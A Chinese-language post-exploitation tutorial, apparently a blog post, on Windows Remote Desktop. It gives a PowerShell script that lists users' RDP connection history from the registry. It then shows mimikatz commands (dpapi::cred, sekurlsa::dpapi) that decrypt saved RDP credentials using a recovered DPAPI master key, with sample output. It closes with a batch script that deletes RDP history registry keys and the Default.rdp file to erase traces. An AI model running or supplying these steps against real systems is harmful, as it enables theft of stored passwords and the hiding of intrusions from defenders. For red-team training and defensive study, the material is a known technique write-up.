windows获取RDP连接记录并获取远程桌面使用的密码

0x01 获取RDP连接历史记录：

以下代码为3gStudent实现的获取连接记录的代码：

<#
.SYNOPSIS
This script will list the logged-in users' RDP Connections History.
Author: 3gstudent@3gstudent
License: BSD 3-Clause
#>
$AllUser = Get-WmiObject -Class Win32_UserAccount
foreach($User in $AllUser)
{
	$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"
	Write-Host "User:"$User.Name
	Write-Host "SID:"$User.SID
	Write-Host "Status:"$User.Status
	Try  
    	{ 
		$QueryPath = dir $RegPath -Name -ErrorAction Stop
	}
	Catch
	{
		Write-Host "No RDP Connections History"
		Write-Host "----------------------------------"
		continue
	}
	foreach($Name in $QueryPath)
	{   
		Try  
    		{  
    			$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint
    			Write-Host "User:"$User
    			Write-Host "Server:"$Name
    		}
    		Catch  
    		{
			Write-Host "No RDP Connections History"
    		}
	}
	Write-Host "----------------------------------"	
}

用法：powershell xxx.ps1

0x02 破解RDP连接凭证：

破解RDP连接凭证的前提是用户在连接远程主机时勾选了保存保存凭证。

1、查找本地的Credentials

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

2、使用mimikatz进行操作

下载

mimikatz dpapi::cred /in:C:\Users\dell\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6

得到：

mimikatz # dpapi::cred /in:C:\Users\dell\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {ffc994a1-de8d-4304-9416-31e587f7a8ca}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000030 - 48
  szDescription      : Local Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : 00fed8ca7ec6d44585dd1fbd8b57e77b6ab0cf318ec5d52d09fd0694ffb89ccb
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : b49ef55f909fa503eda37ddc797c83c99df983920bfb4628e07aac5cb32bb530
  dwDataLen          : 000000b0 - 176
  pbData             : 4083f8f501b999a35c4aa57ce732bf52d30a6e604dac5a91b6fd3e65660c52a536025c5126f0d12b85044498deef08a8688b3459f49514ed6ae46271a1cb4cd0e70845d9b6beccbcbe85dead0fb7c80b4f7810add87b75c48592fcbfbbfd94fa4eee8004f8cf6d9619ef4b9af643f4c9ef0e8a2a5b0cd00530a5638cfd114fee4b735ac12eef2c7e6a0364845eb0ee4b3ab121e33324f8d5af48f3422bd47a76ab5e9e9e5a1a383e22fff8bf851b6a2a
  dwSignLen          : 00000040 - 64
  pbSign             : 7c8dbe7991c6af4d3bfc9f808790a0904738d0ca227bc2ee20ee26cbf06487dd2679e932b27ea0c0cbbe590ee6430641605d7001b2158c8873c5d6a09a9855a8

接下来需要使用的就是guidMasterKey、pbData数据。pbData是凭据的加密数据，guidMasterKey是凭据的GUID

3、使用sekurlsa::dpapi

mimikatz privilege::debug sekurlsa::dpapi

根据目标凭据GUID: {ffc994a1-de8d-4304-9416-31e587f7a8ca}找到其关联的MasterKey，这个MasterKey就是加密凭据的密钥，即解密pbData所必须的东西。

4、解密

dpapi::cred /in:C:\Users\dell\AppData\Local\Microsoft\Credentials\AB07963F1A0A1CB56827E93395597FC6 /masterkey:e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c

下面这段MasterKey：
e01320a53bf9d57da1163c7723a5b3901df5a3fc8e504fc021def2637d19d34c0084a3ac2a0daab3fb9af3f98c48a9a901627dc4b10db087cb357e1d2f8aa18c

0x03 清除RDP连接历史记录：

注册表HKCU:\Software\Microsoft\Terminal Server Client\

针对上述的Default、Server，对其表项进行删除

tips：由于在删除Server表项的时候无法一次选择所有表项，因为可以直接删除整个Server再新建。

然后删除默认的rdp连接文件：

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f # 删除Default中的所有值
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f # 删除整个Servers
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" 重新创建删除的注册表项
cd %userprofile%\documents\ # 转到Default.rdp文件目录
attrib Default.rdp -s -h # 更改Default.rdp文件属性，默认情况下它是隐藏
del Default.rdp  # 删除文件Default.rdp文件

以上参考链接：https://rcoil.me/2018/05/%E5%85%B3%E4%BA%8Ewindows%E7%9A%84RDP%E8%BF%9E%E6%8E%A5%E8%AE%B0%E5%BD%95/